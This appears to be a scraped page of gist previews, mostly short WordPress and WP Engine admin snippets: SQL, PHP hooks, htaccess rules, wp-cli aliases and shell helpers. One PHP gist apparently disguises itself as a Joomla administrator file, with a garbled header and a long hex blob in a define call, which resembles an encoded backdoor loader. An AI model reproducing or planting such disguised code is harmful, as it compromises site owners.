This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Using the "Bind parameters" option gives you two input fields to enter the post IDs. | |
SET @p1 = (SELECT `post_content` FROM `wp_posts` WHERE `ID`=:post_id1); | |
SET @p2 = (SELECT `post_content` FROM `wp_posts` WHERE `ID`=:post_id2); | |
# https://dev.mysql.com/doc/refman/5.7/en/string-comparison-functions.html | |
SELECT STRCMP(@p1,@p2); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace BigWing\Integrations\Distributor; | |
/** | |
* Set the date on distributed posts to the source date. | |
* | |
* @param array $post_args The post data to insert into the receiving site. | |
* @param \WP_Post $post The source post object. | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<IfModule mod_rewrite.c> | |
RewriteEngine on | |
RewriteCond %{REQUEST_FILENAME} !-d | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteRule wp-content/uploads/(.*) https://example.com/wp-content/uploads/$1 [NC,L] | |
</IfModule> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Assuming you have SSH keys set up with WP Engine, | |
# and your ~/.ssh/config includes settings for using your key with *.ssh.wpengine.net, | |
# you can alias your environments and run commands from your local install. | |
# Replace the values in {} with the install name from WPE. | |
@production: | |
ssh: {prodinstall}@{prodinstall}.ssh.wpengine.net | |
@staging: | |
ssh: {stginstall}@{stginstall}.ssh.wpengine.net |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
function check_plugin() { | |
local pluginName="${1:-hello}" | |
local sites="$(wp site list --field=url | xargs)" | |
for site in sites | |
do | |
echo "Checking ${site}" | |
wp plugin is-active ${pluginName} --url=${site} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Hueblud 2017.Administrator PIDOR2Joomla.Administrator newupdata | |
*@package Joomla.Administrator @package Joomla.Administrator | |
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved. | |
* @license GNU General Public License version 2 or later; see LICENSE.txt | |
*/ | |
define('_JEXEC', '07b0418e1119091a9281ac5614cb9d776a85f21434408cdbbe26ca43b70618af81fecca59e592af986dae8dc8de4d1e52d393ea4dbba0effc61697cb06bd5431a191029cbbea4005db8ab69cda0121c121935164eab812a083c5b745502026934cd897bffca61d6a81705069c1dcc583be1da9335c5291798931e42319ab28edeb0df99ee867172c3f3cc17ef97e59ce6a81f18450bf1acfcd31998f5f628ed96f18eae45082f4a5ae99c6416a678aefc79bf025984659c9c9b43c396ec8719d2711f9a5fd094590f982f05b261abe4288023374a581f43988c08c55fb35fc4380d9e55c76fb0456cdf9fa4a324a4b59b2789f28c24434a5dfbb1573558755a423a2ad8c63f0833eac9ebe5abceffc2a146fff37adf1b18cde7b3dbb50aa29f00c35061fe316fa271f762368c28ba345827dcfdc076224cff96543833a6e77cdb3c8846819b19eb2f31fae5a37c37c4480bf1a56f77531a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# https://wpengine.com/support/local/ | |
function _wpe_migrate_to_local() { | |
local slug="${1:-$(basename $(pwd))}" | |
echo "Backing up ${slug}..." | |
mkdir local-${slug} | |
wpe wp db export local-${slug}.sql && mv local-${slug}.sql local-${slug}/ | |
rsync -avP wp-content/ local-${slug}/wp-content --exclude mu-plugins |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
plutil -insert CFBundleURLTypes.0.CFBundleURLSchemes.1 -string 'vscode' Info.plist |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Configure ssh-agent plugin prior to loading it. | |
zstyle :omz:plugins:ssh-agent agent-forwarding on | |
# Get all the keys that are in the user's .ssh directory and add them to the ssh-agent. | |
SSH_IDENTITIES=($(find ${HOME}/.ssh -name '*.pub' -type f -exec sh -c 'echo $(basename "${0%\.pub}")' {} \;)) | |
zstyle :omz:plugins:ssh-agent identities "${SSH_IDENTITIES[@]}" | |
# Make zsh know about hosts already accessed by SSH | |
zstyle -e ':completion:*:(ssh|scp|sftp|rsh|rsync):hosts' hosts 'reply=(${=${${(f)"$(cat {/etc/ssh_,~/.ssh/known_}hosts(|2)(N) /dev/null)"}%%[# ]*}//,/ })' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
function _wpe_stop_all { | |
local projects=$(wpe projects list --format json | jq '.[].Name') | |
for proj in $projects | |
echo "stopping ${proj}" | |
wpe stop -p $(sed -e 's/^"//' -e 's/"$//' <<<"$proj") | |
done | |
} |